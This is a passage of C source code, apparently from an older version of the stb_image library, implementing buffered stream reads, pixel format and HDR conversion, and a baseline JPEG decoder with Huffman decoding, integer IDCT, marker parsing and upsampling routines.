return 0;
}
stbi_inline static int at_eof(stbi *s)
{
if (s->io.read) {
if (!(s->io.eof)(s->io_user_data)) return 0;
// if feof() is true, check if buffer = end
// special case: we've only got the special 0 character at the end
if (s->read_from_callbacks == 0) return 1;
}
return s->img_buffer >= s->img_buffer_end;
}
stbi_inline static stbi__uint8 get8u(stbi *s)
{
return (stbi__uint8) get8(s);
}
static void skip(stbi *s, int n)
{
if (s->io.read) {
int blen = (int) (s->img_buffer_end - s->img_buffer);
if (blen < n) {
s->img_buffer = s->img_buffer_end;
(s->io.skip)(s->io_user_data, n - blen);
return;
}
}
s->img_buffer += n;
}
static int getn(stbi *s, stbi_uc *buffer, int n)
{
if (s->io.read) {
int blen = (int) (s->img_buffer_end - s->img_buffer);
if (blen < n) {
int res, count;
memcpy(buffer, s->img_buffer, blen);
count = (s->io.read)(s->io_user_data, (char*) buffer + blen, n - blen);
res = (count == (n-blen));
s->img_buffer = s->img_buffer_end;
return res;
}
}
if (s->img_buffer+n <= s->img_buffer_end) {
memcpy(buffer, s->img_buffer, n);
s->img_buffer += n;
return 1;
} else
return 0;
}
static int get16(stbi *s)
{
int z = get8(s);
return (z << 8) + get8(s);
}
static stbi__uint32 get32(stbi *s)
{
stbi__uint32 z = get16(s);
return (z << 16) + get16(s);
}
static int get16le(stbi *s)
{
int z = get8(s);
return z + (get8(s) << 8);
}
static stbi__uint32 get32le(stbi *s)
{
stbi__uint32 z = get16le(s);
return z + (get16le(s) << 16);
}
//////////////////////////////////////////////////////////////////////////////
//
// generic converter from built-in img_n to req_comp
// individual types do this automatically as much as possible (e.g. jpeg
// does all cases internally since it needs to colorspace convert anyway,
// and it never has alpha, so very few cases ). png can automatically
// interleave an alpha=255 channel, but falls back to this for other cases
//
// assume data buffer is malloced, so malloc a new one and free that one
// only failure mode is malloc failing
static stbi__uint8 compute_y(int r, int g, int b)
{
return (stbi__uint8) (((r*77) + (g*150) + (29*b)) >> 8);
}
static unsigned char *convert_format(unsigned char *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
int i,j;
unsigned char *good;
if (req_comp == img_n) return data;
assert(req_comp >= 1 && req_comp <= 4);
good = (unsigned char *) malloc(req_comp * x * y);
if (good == NULL) {
free(data);
return epuc("outofmem", "Out of memory");
}
for (j=0; j < (int) y; ++j) {
unsigned char *src = data + j * x * img_n ;
unsigned char *dest = good + j * x * req_comp;
#define COMBO(a,b) ((a)*8+(b))
#define CASE(a,b) case COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
// convert source image with img_n components to one with req_comp components;
// avoid switch per pixel, so use switch per scanline and massive macros
switch (COMBO(img_n, req_comp)) {
CASE(1,2) (void)(dest[0]=src[0]), dest[1]=255; break;
CASE(1,3) dest[0]=dest[1]=dest[2]=src[0]; break;
CASE(1,4) (void)(dest[0]=dest[1]=dest[2]=src[0]), dest[3]=255; break;
CASE(2,1) dest[0]=src[0]; break;
CASE(2,3) dest[0]=dest[1]=dest[2]=src[0]; break;
CASE(2,4) (void)(dest[0]=dest[1]=dest[2]=src[0]), dest[3]=src[1]; break;
CASE(3,4) (void)(dest[0]=src[0]),(void)(dest[1]=src[1]),(void)(dest[2]=src[2]),dest[3]=255; break;
CASE(3,1) dest[0]=compute_y(src[0],src[1],src[2]); break;
CASE(3,2) (void)(dest[0]=compute_y(src[0],src[1],src[2])), dest[1] = 255; break;
CASE(4,1) dest[0]=compute_y(src[0],src[1],src[2]); break;
CASE(4,2) (void)(dest[0]=compute_y(src[0],src[1],src[2])), dest[1] = src[3]; break;
CASE(4,3) (void)(dest[0]=src[0]),(void)(dest[1]=src[1]),dest[2]=src[2]; break;
default: assert(0);
}
#undef CASE
}
free(data);
return good;
}
#ifndef STBI_NO_HDR
static float *ldr_to_hdr(stbi_uc *data, int x, int y, int comp)
{
int i,k,n;
float *output = (float *) malloc(x * y * comp * sizeof(float));
if (output == NULL) { free(data); return epf("outofmem", "Out of memory"); }
// compute number of non-alpha components
if (comp & 1) n = comp; else n = comp-1;
for (i=0; i < x*y; ++i) {
for (k=0; k < n; ++k) {
output[i*comp + k] = (float) pow(data[i*comp+k]/255.0f, l2h_gamma) * l2h_scale;
}
if (k < comp) output[i*comp + k] = data[i*comp+k]/255.0f;
}
free(data);
return output;
}
#define float2int(x) ((int) (x))
static stbi_uc *hdr_to_ldr(float *data, int x, int y, int comp)
{
int i,k,n;
stbi_uc *output = (stbi_uc *) malloc(x * y * comp);
if (output == NULL) { free(data); return epuc("outofmem", "Out of memory"); }
// compute number of non-alpha components
if (comp & 1) n = comp; else n = comp-1;
for (i=0; i < x*y; ++i) {
for (k=0; k < n; ++k) {
float z = (float) pow(data[i*comp+k]*h2l_scale_i, h2l_gamma_i) * 255 + 0.5f;
if (z < 0) z = 0;
if (z > 255) z = 255;
output[i*comp + k] = (stbi__uint8) float2int(z);
}
if (k < comp) {
float z = data[i*comp+k] * 255 + 0.5f;
if (z < 0) z = 0;
if (z > 255) z = 255;
output[i*comp + k] = (stbi__uint8) float2int(z);
}
}
free(data);
return output;
}
#endif
//////////////////////////////////////////////////////////////////////////////
//
// "baseline" JPEG/JFIF decoder (not actually fully baseline implementation)
//
// simple implementation
// - channel subsampling of at most 2 in each dimension
// - doesn't support delayed output of y-dimension
// - simple interface (only one output format: 8-bit interleaved RGB)
// - doesn't try to recover corrupt jpegs
// - doesn't allow partial loading, loading multiple at once
// - still fast on x86 (copying globals into locals doesn't help x86)
// - allocates lots of intermediate memory (full size of all components)
// - non-interleaved case requires this anyway
// - allows good upsampling (see next)
// high-quality
// - upsampled channels are bilinearly interpolated, even across blocks
// - quality integer IDCT derived from IJG's 'slow'
// performance
// - fast huffman; reasonable integer IDCT
// - uses a lot of intermediate memory, could cache poorly
// - load http://nothings.org/remote/anemones.jpg 3 times on 2.8Ghz P4
// stb_jpeg: 1.34 seconds (MSVC6, default release build)
// stb_jpeg: 1.06 seconds (MSVC6, processor = Pentium Pro)
// IJL11.dll: 1.08 seconds (compiled by intel)
// IJG 1998: 0.98 seconds (MSVC6, makefile provided by IJG)
// IJG 1998: 0.95 seconds (MSVC6, makefile + proc=PPro)
// huffman decoding acceleration
#define FAST_BITS 9 // larger handles more cases; smaller stomps less cache
typedef struct
{
stbi__uint8 fast[1 << FAST_BITS];
// weirdly, repacking this into AoS is a 10% speed loss, instead of a win
stbi__uint16 code[256];
stbi__uint8 values[256];
stbi__uint8 size[257];
unsigned int maxcode[18];
int delta[17]; // old 'firstsymbol' - old 'firstcode'
} huffman;
typedef struct
{
#ifdef STBI_SIMD
unsigned short dequant2[4][64];
#endif
stbi *s;
huffman huff_dc[4];
huffman huff_ac[4];
stbi__uint8 dequant[4][64];
// sizes for components, interleaved MCUs
int img_h_max, img_v_max;
int img_mcu_x, img_mcu_y;
int img_mcu_w, img_mcu_h;
// definition of jpeg image component
struct
{
int id;
int h,v;
int tq;
int hd,ha;
int dc_pred;
int x,y,w2,h2;
stbi__uint8 *data;
void *raw_data;
stbi__uint8 *linebuf;
} img_comp[4];
stbi__uint32 code_buffer; // jpeg entropy-coded buffer
int code_bits; // number of valid bits
unsigned char marker; // marker seen while filling entropy buffer
int nomore; // flag if we saw a marker so must stop
int scan_n, order[4];
int restart_interval, todo;
} jpeg;
static int build_huffman(huffman *h, int *count)
{
int i,j,k=0,code;
// build size list for each symbol (from JPEG spec)
for (i=0; i < 16; ++i)
for (j=0; j < count[i]; ++j)
h->size[k++] = (stbi__uint8) (i+1);
h->size[k] = 0;
// compute actual symbols (from jpeg spec)
code = 0;
k = 0;
for(j=1; j <= 16; ++j) {
// compute delta to add to code to compute symbol id
h->delta[j] = k - code;
if (h->size[k] == j) {
while (h->size[k] == j)
h->code[k++] = (stbi__uint16) (code++);
if (code-1 >= (1 << j)) return e("bad code lengths","Corrupt JPEG");
}
// compute largest code + 1 for this size, preshifted as needed later
h->maxcode[j] = code << (16-j);
code <<= 1;
}
h->maxcode[j] = 0xffffffff;
// build non-spec acceleration table; 255 is flag for not-accelerated
memset(h->fast, 255, 1 << FAST_BITS);
for (i=0; i < k; ++i) {
int s = h->size[i];
if (s <= FAST_BITS) {
int c = h->code[i] << (FAST_BITS-s);
int m = 1 << (FAST_BITS-s);
for (j=0; j < m; ++j) {
h->fast[c+j] = (stbi__uint8) i;
}
}
}
return 1;
}
static void grow_buffer_unsafe(jpeg *j)
{
do {
int b = j->nomore ? 0 : get8(j->s);
if (b == 0xff) {
int c = get8(j->s);
if (c != 0) {
j->marker = (unsigned char) c;
j->nomore = 1;
return;
}
}
j->code_buffer |= b << (24 - j->code_bits);
j->code_bits += 8;
} while (j->code_bits <= 24);
}
// (1 << n) - 1
static stbi__uint32 bmask[17]={0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535};
// decode a jpeg huffman value from the bitstream
stbi_inline static int decode(jpeg *j, huffman *h)
{
unsigned int temp;
int c,k;
if (j->code_bits < 16) grow_buffer_unsafe(j);
// look at the top FAST_BITS and determine what symbol ID it is,
// if the code is <= FAST_BITS
c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
k = h->fast[c];
if (k < 255) {
int s = h->size[k];
if (s > j->code_bits)
return -1;
j->code_buffer <<= s;
j->code_bits -= s;
return h->values[k];
}
// naive test is to shift the code_buffer down so k bits are
// valid, then test against maxcode. To speed this up, we've
// preshifted maxcode left so that it has (16-k) 0s at the
// end; in other words, regardless of the number of bits, it
// wants to be compared against something shifted to have 16;
// that way we don't need to shift inside the loop.
temp = j->code_buffer >> 16;
for (k=FAST_BITS+1 ; ; ++k)
if (temp < h->maxcode[k])
break;
if (k == 17) {
// error! code not found
j->code_bits -= 16;
return -1;
}
if (k > j->code_bits)
return -1;
// convert the huffman code to the symbol id
c = ((j->code_buffer >> (32 - k)) & bmask[k]) + h->delta[k];
assert((((j->code_buffer) >> (32 - h->size[c])) & bmask[h->size[c]]) == h->code[c]);
// convert the id to a symbol
j->code_bits -= k;
j->code_buffer <<= k;
return h->values[c];
}
// combined JPEG 'receive' and JPEG 'extend', since baseline
// always extends everything it receives.
stbi_inline static int extend_receive(jpeg *j, int n)
{
unsigned int m = 1 << (n-1);
unsigned int k;
if (j->code_bits < n) grow_buffer_unsafe(j);
#if 1
k = stbi_lrot(j->code_buffer, n);
j->code_buffer = k & ~bmask[n];
k &= bmask[n];
j->code_bits -= n;
#else
k = (j->code_buffer >> (32 - n)) & bmask[n];
j->code_bits -= n;
j->code_buffer <<= n;
#endif
// the following test is probably a random branch that won't
// predict well. I tried to table accelerate it but failed.
// maybe it's compiling as a conditional move?
if (k < m)
return (-1 << n) + k + 1;
else
return k;
}
// given a value that's at position X in the zigzag stream,
// where does it appear in the 8x8 matrix coded as row-major?
static stbi__uint8 dezigzag[64+15] =
{
0, 1, 8, 16, 9, 2, 3, 10,
17, 24, 32, 25, 18, 11, 4, 5,
12, 19, 26, 33, 40, 48, 41, 34,
27, 20, 13, 6, 7, 14, 21, 28,
35, 42, 49, 56, 57, 50, 43, 36,
29, 22, 15, 23, 30, 37, 44, 51,
58, 59, 52, 45, 38, 31, 39, 46,
53, 60, 61, 54, 47, 55, 62, 63,
// let corrupt input sample past end
63, 63, 63, 63, 63, 63, 63, 63,
63, 63, 63, 63, 63, 63, 63
};
// decode one 64-entry block--
static int decode_block(jpeg *j, short data[64], huffman *hdc, huffman *hac, int b)
{
int diff,dc,k;
int t = decode(j, hdc);
if (t < 0) return e("bad huffman code","Corrupt JPEG");
// 0 all the ac values now so we can do it 32-bits at a time
memset(data,0,64*sizeof(data[0]));
diff = t ? extend_receive(j, t) : 0;
dc = j->img_comp[b].dc_pred + diff;
j->img_comp[b].dc_pred = dc;
data[0] = (short) dc;
// decode AC components, see JPEG spec
k = 1;
do {
int r,s;
int rs = decode(j, hac);
if (rs < 0) return e("bad huffman code","Corrupt JPEG");
s = rs & 15;
r = rs >> 4;
if (s == 0) {
if (rs != 0xf0) break; // end block
k += 16;
} else {
k += r;
// decode into unzigzag'd location
data[dezigzag[k++]] = (short) extend_receive(j,s);
}
} while (k < 64);
return 1;
}
// take a -128..127 value and clamp it and convert to 0..255
stbi_inline static stbi__uint8 clamp(int x)
{
// trick to use a single test to catch both cases
if ((unsigned int) x > 255) {
if (x < 0) return 0;
if (x > 255) return 255;
}
return (stbi__uint8) x;
}
#define f2f(x) (int) (((x) * 4096 + 0.5))
#define fsh(x) ((x) << 12)
// derived from jidctint -- DCT_ISLOW
#define IDCT_1D(s0,s1,s2,s3,s4,s5,s6,s7) \
int t0,t1,t2,t3,p1,p2,p3,p4,p5,x0,x1,x2,x3; \
p2 = s2; \
p3 = s6; \
p1 = (p2+p3) * f2f(0.5411961f); \
t2 = p1 + p3*f2f(-1.847759065f); \
t3 = p1 + p2*f2f( 0.765366865f); \
p2 = s0; \
p3 = s4; \
t0 = fsh(p2+p3); \
t1 = fsh(p2-p3); \
x0 = t0+t3; \
x3 = t0-t3; \
x1 = t1+t2; \
x2 = t1-t2; \
t0 = s7; \
t1 = s5; \
t2 = s3; \
t3 = s1; \
p3 = t0+t2; \
p4 = t1+t3; \
p1 = t0+t3; \
p2 = t1+t2; \
p5 = (p3+p4)*f2f( 1.175875602f); \
t0 = t0*f2f( 0.298631336f); \
t1 = t1*f2f( 2.053119869f); \
t2 = t2*f2f( 3.072711026f); \
t3 = t3*f2f( 1.501321110f); \
p1 = p5 + p1*f2f(-0.899976223f); \
p2 = p5 + p2*f2f(-2.562915447f); \
p3 = p3*f2f(-1.961570560f); \
p4 = p4*f2f(-0.390180644f); \
t3 += p1+p4; \
t2 += p2+p3; \
t1 += p2+p4; \
t0 += p1+p3;
#ifdef STBI_SIMD
typedef unsigned short stbi_dequantize_t;
#else
typedef stbi__uint8 stbi_dequantize_t;
#endif
// .344 seconds on 3*anemones.jpg
static void idct_block(stbi__uint8 *out, int out_stride, short data[64], stbi_dequantize_t *dequantize)
{
int i,val[64],*v=val;
stbi_dequantize_t *dq = dequantize;
stbi__uint8 *o;
short *d = data;
// columns
for (i=0; i < 8; ++i,++d,++dq, ++v) {
// if all zeroes, shortcut -- this avoids dequantizing 0s and IDCTing
if (d[ 8]==0 && d[16]==0 && d[24]==0 && d[32]==0
&& d[40]==0 && d[48]==0 && d[56]==0) {
// no shortcut 0 seconds
// (1|2|3|4|5|6|7)==0 0 seconds
// all separate -0.047 seconds
// 1 && 2|3 && 4|5 && 6|7: -0.047 seconds
int dcterm = d[0] * dq[0] << 2;
v[0] = v[8] = v[16] = v[24] = v[32] = v[40] = v[48] = v[56] = dcterm;
} else {
IDCT_1D(d[ 0]*dq[ 0],d[ 8]*dq[ 8],d[16]*dq[16],d[24]*dq[24],
d[32]*dq[32],d[40]*dq[40],d[48]*dq[48],d[56]*dq[56])
// constants scaled things up by 1<<12; let's bring them back
// down, but keep 2 extra bits of precision
x0 += 512; x1 += 512; x2 += 512; x3 += 512;
v[ 0] = (x0+t3) >> 10;
v[56] = (x0-t3) >> 10;
v[ 8] = (x1+t2) >> 10;
v[48] = (x1-t2) >> 10;
v[16] = (x2+t1) >> 10;
v[40] = (x2-t1) >> 10;
v[24] = (x3+t0) >> 10;
v[32] = (x3-t0) >> 10;
}
}
for (i=0, v=val, o=out; i < 8; ++i,v+=8,o+=out_stride) {
// no fast case since the first 1D IDCT spread components out
IDCT_1D(v[0],v[1],v[2],v[3],v[4],v[5],v[6],v[7])
// constants scaled things up by 1<<12, plus we had 1<<2 from first
// loop, plus horizontal and vertical each scale by sqrt(8) so together
// we've got an extra 1<<3, so 1<<17 total we need to remove.
// so we want to round that, which means adding 0.5 * 1<<17,
// aka 65536. Also, we'll end up with -128 to 127 that we want
// to encode as 0..255 by adding 128, so we'll add that before the shift
x0 += 65536 + (128<<17);
x1 += 65536 + (128<<17);
x2 += 65536 + (128<<17);
x3 += 65536 + (128<<17);
// tried computing the shifts into temps, or'ing the temps to see
// if any were out of range, but that was slower
o[0] = clamp((x0+t3) >> 17);
o[7] = clamp((x0-t3) >> 17);
o[1] = clamp((x1+t2) >> 17);
o[6] = clamp((x1-t2) >> 17);
o[2] = clamp((x2+t1) >> 17);
o[5] = clamp((x2-t1) >> 17);
o[3] = clamp((x3+t0) >> 17);
o[4] = clamp((x3-t0) >> 17);
}
}
#ifdef STBI_SIMD
static stbi_idct_8x8 stbi_idct_installed = idct_block;
void stbi_install_idct(stbi_idct_8x8 func)
{
stbi_idct_installed = func;
}
#endif
#define MARKER_none 0xff
// if there's a pending marker from the entropy stream, return that
// otherwise, fetch from the stream and get a marker. if there's no
// marker, return 0xff, which is never a valid marker value
static stbi__uint8 get_marker(jpeg *j)
{
stbi__uint8 x;
if (j->marker != MARKER_none) { x = j->marker; j->marker = MARKER_none; return x; }
x = get8u(j->s);
if (x != 0xff) return MARKER_none;
while (x == 0xff)
x = get8u(j->s);
return x;
}
// in each scan, we'll have scan_n components, and the order
// of the components is specified by order[]
#define RESTART(x) ((x) >= 0xd0 && (x) <= 0xd7)
// after a restart interval, reset the entropy decoder and
// the dc prediction
static void reset(jpeg *j)
{
j->code_bits = 0;
j->code_buffer = 0;
j->nomore = 0;
j->img_comp[0].dc_pred = j->img_comp[1].dc_pred = j->img_comp[2].dc_pred = 0;
j->marker = MARKER_none;
j->todo = j->restart_interval ? j->restart_interval : 0x7fffffff;
// no more than 1<<31 MCUs if no restart_interal? that's plenty safe,
// since we don't even allow 1<<30 pixels
}
static int parse_entropy_coded_data(jpeg *z)
{
reset(z);
if (z->scan_n == 1) {
int i,j;
#ifdef STBI_SIMD
__declspec(align(16))
#endif
short data[64];
int n = z->order[0];
// non-interleaved data, we just need to process one block at a time,
// in trivial scanline order
// number of blocks to do just depends on how many actual "pixels" this
// component has, independent of interleaved MCU blocking and such
int w = (z->img_comp[n].x+7) >> 3;
int h = (z->img_comp[n].y+7) >> 3;
for (j=0; j < h; ++j) {
for (i=0; i < w; ++i) {
if (!decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+z->img_comp[n].ha, n)) return 0;
#ifdef STBI_SIMD
stbi_idct_installed(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data, z->dequant2[z->img_comp[n].tq]);
#else
idct_block(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data, z->dequant[z->img_comp[n].tq]);
#endif
// every data block is an MCU, so countdown the restart interval
if (--z->todo <= 0) {
if (z->code_bits < 24) grow_buffer_unsafe(z);
// if it's NOT a restart, then just bail, so we get corrupt data
// rather than no data
if (!RESTART(z->marker)) return 1;
reset(z);
}
}
}
} else { // interleaved!
int i,j,k,x,y;
short data[64];
for (j=0; j < z->img_mcu_y; ++j) {
for (i=0; i < z->img_mcu_x; ++i) {
// scan an interleaved mcu... process scan_n components in order
for (k=0; k < z->scan_n; ++k) {
int n = z->order[k];
// scan out an mcu's worth of this component; that's just determined
// by the basic H and V specified for the component
for (y=0; y < z->img_comp[n].v; ++y) {
for (x=0; x < z->img_comp[n].h; ++x) {
int x2 = (i*z->img_comp[n].h + x)*8;
int y2 = (j*z->img_comp[n].v + y)*8;
if (!decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+z->img_comp[n].ha, n)) return 0;
#ifdef STBI_SIMD
stbi_idct_installed(z->img_comp[n].data+z->img_comp[n].w2*y2+x2, z->img_comp[n].w2, data, z->dequant2[z->img_comp[n].tq]);
#else
idct_block(z->img_comp[n].data+z->img_comp[n].w2*y2+x2, z->img_comp[n].w2, data, z->dequant[z->img_comp[n].tq]);
#endif
}
}
}
// after all interleaved components, that's an interleaved MCU,
// so now count down the restart interval
if (--z->todo <= 0) {
if (z->code_bits < 24) grow_buffer_unsafe(z);
// if it's NOT a restart, then just bail, so we get corrupt data
// rather than no data
if (!RESTART(z->marker)) return 1;
reset(z);
}
}
}
}
return 1;
}
static int process_marker(jpeg *z, int m)
{
int L;
switch (m) {
case MARKER_none: // no marker found
return e("expected marker","Corrupt JPEG");
case 0xC2: // SOF - progressive
return e("progressive jpeg","JPEG format not supported (progressive)");
case 0xDD: // DRI - specify restart interval
if (get16(z->s) != 4) return e("bad DRI len","Corrupt JPEG");
z->restart_interval = get16(z->s);
return 1;
case 0xDB: // DQT - define quantization table
L = get16(z->s)-2;
while (L > 0) {
int q = get8(z->s);
int p = q >> 4;
int t = q & 15,i;
if (p != 0) return e("bad DQT type","Corrupt JPEG");
if (t > 3) return e("bad DQT table","Corrupt JPEG");
for (i=0; i < 64; ++i)
z->dequant[t][dezigzag[i]] = get8u(z->s);
#ifdef STBI_SIMD
for (i=0; i < 64; ++i)
z->dequant2[t][i] = z->dequant[t][i];
#endif
L -= 65;
}
return L==0;
case 0xC4: // DHT - define huffman table
L = get16(z->s)-2;
while (L > 0) {
stbi__uint8 *v;
int sizes[16],i,n=0;
int q = get8(z->s);
int tc = q >> 4;
int th = q & 15;
if (tc > 1 || th > 3) return e("bad DHT header","Corrupt JPEG");
for (i=0; i < 16; ++i) {
sizes[i] = get8(z->s);
n += sizes[i];
}
L -= 17;
if (tc == 0) {
if (!build_huffman(z->huff_dc+th, sizes)) return 0;
v = z->huff_dc[th].values;
} else {
if (!build_huffman(z->huff_ac+th, sizes)) return 0;
v = z->huff_ac[th].values;
}
for (i=0; i < n; ++i)
v[i] = get8u(z->s);
L -= n;
}
return L==0;
}
// check for comment block or APP blocks
if ((m >= 0xE0 && m <= 0xEF) || m == 0xFE) {
skip(z->s, get16(z->s)-2);
return 1;
}
return 0;
}
// after we see SOS
static int process_scan_header(jpeg *z)
{
int i;
int Ls = get16(z->s);
z->scan_n = get8(z->s);
if (z->scan_n < 1 || z->scan_n > 4 || z->scan_n > (int) z->s->img_n) return e("bad SOS component count","Corrupt JPEG");
if (Ls != 6+2*z->scan_n) return e("bad SOS len","Corrupt JPEG");
for (i=0; i < z->scan_n; ++i) {
int id = get8(z->s), which;
int q = get8(z->s);
for (which = 0; which < z->s->img_n; ++which)
if (z->img_comp[which].id == id)
break;
if (which == z->s->img_n) return 0;
z->img_comp[which].hd = q >> 4; if (z->img_comp[which].hd > 3) return e("bad DC huff","Corrupt JPEG");
z->img_comp[which].ha = q & 15; if (z->img_comp[which].ha > 3) return e("bad AC huff","Corrupt JPEG");
z->order[i] = which;
}
if (get8(z->s) != 0) return e("bad SOS","Corrupt JPEG");
get8(z->s); // should be 63, but might be 0
if (get8(z->s) != 0) return e("bad SOS","Corrupt JPEG");
return 1;
}
static int process_frame_header(jpeg *z, int scan)
{
stbi *s = z->s;
int Lf,p,i,q, h_max=1,v_max=1,c;
Lf = get16(s); if (Lf < 11) return e("bad SOF len","Corrupt JPEG"); // JPEG
p = get8(s); if (p != 8) return e("only 8-bit","JPEG format not supported: 8-bit only"); // JPEG baseline
s->img_y = get16(s); if (s->img_y == 0) return e("no header height", "JPEG format not supported: delayed height"); // Legal, but we don't handle it--but neither does IJG
s->img_x = get16(s); if (s->img_x == 0) return e("0 width","Corrupt JPEG"); // JPEG requires
c = get8(s);
if (c != 3 && c != 1) return e("bad component count","Corrupt JPEG"); // JFIF requires
s->img_n = c;
for (i=0; i < c; ++i) {
z->img_comp[i].data = NULL;
z->img_comp[i].linebuf = NULL;
}
if (Lf != 8+3*s->img_n) return e("bad SOF len","Corrupt JPEG");
for (i=0; i < s->img_n; ++i) {
z->img_comp[i].id = get8(s);
if (z->img_comp[i].id != i+1) // JFIF requires
if (z->img_comp[i].id != i) // some version of jpegtran outputs non-JFIF-compliant files!
return e("bad component ID","Corrupt JPEG");
q = get8(s);
z->img_comp[i].h = (q >> 4); if (!z->img_comp[i].h || z->img_comp[i].h > 4) return e("bad H","Corrupt JPEG");
z->img_comp[i].v = q & 15; if (!z->img_comp[i].v || z->img_comp[i].v > 4) return e("bad V","Corrupt JPEG");
z->img_comp[i].tq = get8(s); if (z->img_comp[i].tq > 3) return e("bad TQ","Corrupt JPEG");
}
if (scan != SCAN_load) return 1;
if ((1 << 30) / s->img_x / s->img_n < s->img_y) return e("too large", "Image too large to decode");
for (i=0; i < s->img_n; ++i) {
if (z->img_comp[i].h > h_max) h_max = z->img_comp[i].h;
if (z->img_comp[i].v > v_max) v_max = z->img_comp[i].v;
}
// compute interleaved mcu info
z->img_h_max = h_max;
z->img_v_max = v_max;
z->img_mcu_w = h_max * 8;
z->img_mcu_h = v_max * 8;
z->img_mcu_x = (s->img_x + z->img_mcu_w-1) / z->img_mcu_w;
z->img_mcu_y = (s->img_y + z->img_mcu_h-1) / z->img_mcu_h;
for (i=0; i < s->img_n; ++i) {
// number of effective pixels (e.g. for non-interleaved MCU)
z->img_comp[i].x = (s->img_x * z->img_comp[i].h + h_max-1) / h_max;
z->img_comp[i].y = (s->img_y * z->img_comp[i].v + v_max-1) / v_max;
// to simplify generation, we'll allocate enough memory to decode
// the bogus oversized data from using interleaved MCUs and their
// big blocks (e.g. a 16x16 iMCU on an image of width 33); we won't
// discard the extra data until colorspace conversion
z->img_comp[i].w2 = z->img_mcu_x * z->img_comp[i].h * 8;
z->img_comp[i].h2 = z->img_mcu_y * z->img_comp[i].v * 8;
z->img_comp[i].raw_data = malloc(z->img_comp[i].w2 * z->img_comp[i].h2+15);
if (z->img_comp[i].raw_data == NULL) {
for(--i; i >= 0; --i) {
free(z->img_comp[i].raw_data);
z->img_comp[i].data = NULL;
}
return e("outofmem", "Out of memory");
}
// align blocks for installable-idct using mmx/sse
z->img_comp[i].data = (stbi__uint8*) (((size_t) z->img_comp[i].raw_data + 15) & ~15);
z->img_comp[i].linebuf = NULL;
}
return 1;
}
// use comparisons since in some cases we handle more than one case (e.g. SOF)
#define DNL(x) ((x) == 0xdc)
#define SOI(x) ((x) == 0xd8)
#define EOI(x) ((x) == 0xd9)
#define SOF(x) ((x) == 0xc0 || (x) == 0xc1)
#define SOS(x) ((x) == 0xda)
static int decode_jpeg_header(jpeg *z, int scan)
{
int m;
z->marker = MARKER_none; // initialize cached marker to empty
m = get_marker(z);
if (!SOI(m)) return e("no SOI","Corrupt JPEG");
if (scan == SCAN_type) return 1;
m = get_marker(z);
while (!SOF(m)) {
if (!process_marker(z,m)) return 0;
m = get_marker(z);
while (m == MARKER_none) {
// some files have extra padding after their blocks, so ok, we'll scan
if (at_eof(z->s)) return e("no SOF", "Corrupt JPEG");
m = get_marker(z);
}
}
if (!process_frame_header(z, scan)) return 0;
return 1;
}
static int decode_jpeg_image(jpeg *j)
{
int m;
j->restart_interval = 0;
if (!decode_jpeg_header(j, SCAN_load)) return 0;
m = get_marker(j);
while (!EOI(m)) {
if (SOS(m)) {
if (!process_scan_header(j)) return 0;
if (!parse_entropy_coded_data(j)) return 0;
if (j->marker == MARKER_none ) {
// handle 0s at the end of image data from IP Kamera 9060
while (!at_eof(j->s)) {
int x = get8(j->s);
if (x == 255) {
j->marker = get8u(j->s);
break;
} else if (x != 0) {
return 0;
}
}
// if we reach eof without hitting a marker, get_marker() below will fail and we'll eventually return 0
}
} else {
if (!process_marker(j, m)) return 0;
}
m = get_marker(j);
}
return 1;
}
// static jfif-centered resampling (across block boundaries)
typedef stbi__uint8 *(*resample_row_func)(stbi__uint8 *out, stbi__uint8 *in0, stbi__uint8 *in1,
int w, int hs);
#define div4(x) ((stbi__uint8) ((x) >> 2))
static stbi__uint8 *resample_row_1(stbi__uint8 *out, stbi__uint8 *in_near, stbi__uint8 *in_far, int w, int hs)
{
STBI_NOTUSED(out);
STBI_NOTUSED(in_far);
STBI_NOTUSED(w);
STBI_NOTUSED(hs);
return in_near;
}
static stbi__uint8* resample_row_v_2(stbi__uint8 *out, stbi__uint8 *in_near, stbi__uint8 *in_far, int w, int hs)
{
// need to generate two samples vertically for every one in input
int i;
STBI_NOTUSED(hs);
for (i=0; i < w; ++i)
out[i] = div4(3*in_near[i] + in_far[i] + 2);
return out;
}
static stbi__uint8* resample_row_h_2(stbi__uint8 *out, stbi__uint8 *in_near, stbi__uint8 *in_far, int w, int hs)
{
// need to generate two samples horizontally for every one in input
int i;
stbi__uint8 *input = in_near;
if (w == 1) {
// if only one sample, can't do any interpolation
out[0] = out[1] = input[0];
return out;
}
out[0] = input[0];
out[1] = div4(input[0]*3 + input[1] + 2);
for (i=1; i < w-1; ++i) {
int n = 3*input[i]+2;
out[i*2+0] = div4(n+input[i-1]);
out[i*2+1] = div4(n+input[i+1]);
}
out[i*2+0] = div4(input[w-2]*3 + input[w-1] + 2);
out[i*2+1] = input[w-1];
STBI_NOTUSED(in_far);
STBI_NOTUSED(hs);
return out;
}
#define div16(x) ((stbi__uint8) ((x) >> 4))
static stbi__uint8 *resample_row_hv_2(stbi__uint8 *out, stbi__uint8 *in_near, stbi__uint8 *in_far, int w, int hs)
{
// need to generate 2x2 samples for every one in input
int i,t0,t1;
if (w == 1) {
out[0] = out[1] = div4(3*in_near[0] + in_far[0] + 2);
return out;
}
t1 = 3*in_near[0] + in_far[0];
out[0] = div4(t1+2);
for (i=1; i < w; ++i) {
t0 = t1;
t1 = 3*in_near[i]+in_far[i];
out[i*2-1] = div16(3*t0 + t1 + 8);
out[i*2 ] = div16(3*t1 + t0 + 8);
}
out[w*2-1] = div4(t1+2);
STBI_NOTUSED(hs);
return out;
}
static stbi__uint8 *resample_row_generic(stbi__uint8 *out, stbi__uint8 *in_near, stbi__uint8 *in_far, int w, int hs)
{
// resample with nearest-neighbor
int i,j;
STBI_NOTUSED(in_far);
for (i=0; i < w; ++i)
for (j=0; j < hs; ++j)
out[i*hs+j] = in_near[i];
return out;
}
#define float2fixed(x) ((int) ((x) * 65536 + 0.5))
// 0.38 seconds on 3*anemones.jpg (0.25 with processor = Pro)
// VC6 without processor=Pro is generating multiple LEAs per multiply!
